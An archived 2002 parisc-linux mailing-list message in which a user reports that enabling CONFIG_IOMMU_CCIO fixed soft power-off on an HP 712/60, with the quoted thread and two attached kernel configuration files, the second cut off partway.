<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DEN-GB =
style=3D'font-size:
10.0pt;font-family:Arial;mso-ansi-language:EN-GB'><o:p>&nbsp;</o:p></span=
></font></p>

</div>

</body>

</html>

------=_NextPart_000_0001_01C1EBE5.85B6C370--




From - Thu Nov 08 21:22:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Thu, 25 Apr 2002 10:18:45 +0200
Lines: 1546
Approved: news@gmane.org
Message-ID: <OE30Zr5chn3g2CNqNQq0000166b@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0051_01C1EC42.9542E370"
X-Trace: ger.gmane.org 1416621255 6521 80.91.229.3 (22 Nov 2014 01:54:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:15 +0000 (UTC)
To: "Helge Deller" <deller@gmx.de>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 25 02:22:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe30.law4.hotmail.com [216.33.148.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F1B0482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 25 Apr 2002 02:22:20 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 25 Apr 2002 01:22:18 -0700
X-Originating-IP: [212.190.158.6]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 25 Apr 2002 08:22:18.0744 (UTC) FILETIME=[50935F80:01C1EC32]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14648

This is a multi-part message in MIME format.

------=_NextPart_000_0051_01C1EC42.9542E370
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,

 I used WinMerge to compare the attached config with mine. I discovered that
CONFIG_IOMMU_CCIO was not set in my config, but it was enabled in yours.
Yesterday I recompiled the kernel with this option set, rebooted and ...
surprise it works.
Attached to this mail you can find my _finally_ working config. I hope it
will help other people.
Thanks a lot Helge.


 regards,

 Kenneth
>
> ----- Original Message -----
> From: "Helge Deller" <deller@gmx.de>
> To: "kenneth westelinck" <kennywest1@hotmail.com>
> Sent: Monday, April 22, 2002 10:58 PM
> Subject: Re: [parisc-linux] not freeing initmem and power button
>
>
> > Hi Kenneth,
> >
> > I've just got a report, that soft-power off works with 2.4.18-pa20 (and
> above)
> > on another 71/60.
> > Could you please retry with the attached .config and tell me if it works
?
> >
> > Thanks,
> > Helge
> >
> > On Saturday 20 April 2002 18:35, kenneth westelinck wrote:
> > > Nope, soft power-off is enabled as you can see in my attached dmesg.
> BTW,
> > > when using the old 2.4.9 kernel nothing happened when pressing this
> switch.
> > >
> > > ----- Original Message -----
> > > From: "Helge Deller" <deller@gmx.de>
> > > To: "kenneth westelinck" <kennywest1@hotmail.com>;
> > > <parisc-linux@lists.parisc-linux.org>
> > > Sent: Saturday, April 20, 2002 5:51 PM
> > > Subject: Re: [parisc-linux] not freeing initmem and power button
> > >
> > > > Hi Kenneth,
> > > >
> > > > I think the problem is your 712/60, which (maybe) doesn't support
> > > > soft-power-off.
> > > > Please look into your dmesg, there you should see one of:
> > > > 1. Gecko-style soft power switch enabled,
> > > > 2. Soft power switch support not available.
> > > > 3. Soft power switch enabled, polling @ 0x<addr>
> > > >
> > > > I suppose your 712/60 will give you #2 and that's why it will not
> work.
> > > >
> > > > Helge
> > > >
> > > > On Saturday 20 April 2002 15:48, kenneth westelinck wrote:
> > > > > Hi again,
> > > > >
> > > > > Okay, I had a busy week and didn't get any chance to compile a new
> > >
> > > kernel.
> > >
> > > > > Today I've managed to get the 2.4.18-pa20 up and running, but the
> power
> > > > > button is still not working as expected. Pressing the button with
> > >
> > > "Software
> > >
> > > > > power switch support: enabled" powers down the machine instantly
(as
> > > > > before). When I disable the powerswitch with "sysctl -w
> kernel/power=0"
> > >
> > > I'm
> > >
> > > > > having the same result. Am I missing something?
> > > > > Attached to this mail you can find my .config - file
> > > > > Thanks.
> > > > >
> > > > >
> > > > > regards,
> > > > >
> > > > > Kenneth
> >
>

------=_NextPart_000_0051_01C1EC42.9542E370
Content-Type: application/octet-stream;
	name=".config_mine"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename=".config_mine"

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
# CONFIG_MODVERSIONS is not set
CONFIG_KMOD=y

#
# Processor type
#
CONFIG_PA7100=y
# CONFIG_PA7200 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
# CONFIG_EISA is not set
# CONFIG_ISA is not set
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y

#
# General setup
#
# CONFIG_HOTPLUG is not set
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=y
CONFIG_PARPORT_PC_CML1=y
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
# CONFIG_NETFILTER is not set
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# ATA/IDE/MFM/RLL support
#
# CONFIG_IDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_NCR53C8XX is not set
# CONFIG_SCSI_SYM53C8XX is not set
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_NET_PCI is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
CONFIG_QUOTA=y
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EXT3_FS is not set
# CONFIG_JBD is not set
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
# CONFIG_ISO9660_FS is not set
# CONFIG_JOLIET is not set
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
# CONFIG_NLS is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_CLGEN is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FB_MATROX is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FBCON_ADVANCED is not set
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=y
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
CONFIG_SOUND_HARMONY=y
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# USB support
#
# CONFIG_USB is not set
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
# CONFIG_USB_OHCI is not set
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_KLSI is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

------=_NextPart_000_0051_01C1EC42.9542E370
Content-Type: application/octet-stream;
	name=".config"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename=".config"

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
# CONFIG_MODVERSIONS is not set
CONFIG_KMOD=y

#
# Processor type
#
# CONFIG_PA7100 is not set
# CONFIG_PA7200 is not set
CONFIG_PA7100LC=y
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
CONFIG_IOMMU_CCIO=y
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_ISA=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y

#
# General setup
#
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=m
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_PC_CML1=m
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
# CONFIG_PARPORT_PC_PCMCIA is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=m
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
# CONFIG_NETFILTER is not set
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# ATA/IDE/MFM/RLL support
#
CONFIG_IDE=y

#
# IDE, ATA and ATAPI Block devices
#
CONFIG_BLK_DEV_IDE=y
# CONFIG_BLK_DEV_HD_IDE is not set
# CONFIG_BLK_DEV_HD is not set
# CONFIG_BLK_DEV_IDEDISK is not set
# CONFIG_IDEDISK_MULTI_MODE is not set
# CONFIG_BLK_DEV_IDEDISK_VENDOR is not set
# CONFIG_BLK_DEV_IDEDISK_FUJITSU is not set
# CONFIG_BLK_DEV_IDEDISK_IBM is not set
# CONFIG_BLK_DEV_IDEDISK_MAXTOR is not set
# CONFIG_BLK_DEV_IDEDISK_QUANTUM is not set
# CONFIG_BLK_DEV_IDEDISK_SEAGATE is not set
# CONFIG_BLK_DEV_IDEDISK_WD is not set
# CONFIG_BLK_DEV_COMMERIAL is not set
# CONFIG_BLK_DEV_TIVO is not set
# CONFIG_BLK_DEV_IDECS is not set
CONFIG_BLK_DEV_IDECD=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_BLK_DEV_IDEFLOPPY is not set
# CONFIG_BLK_DEV_IDESCSI is not set
# CONFIG_BLK_DEV_CMD640 is not set
# CONFIG_BLK_DEV_CMD640_ENHANCED is not set
# CONFIG_BLK_DEV_ISAPNP is not set
# CONFIG_BLK_DEV_RZ1000 is not set
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_IDEPCI_SHARE_IRQ is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
CONFIG_BLK_DEV_ADMA=y
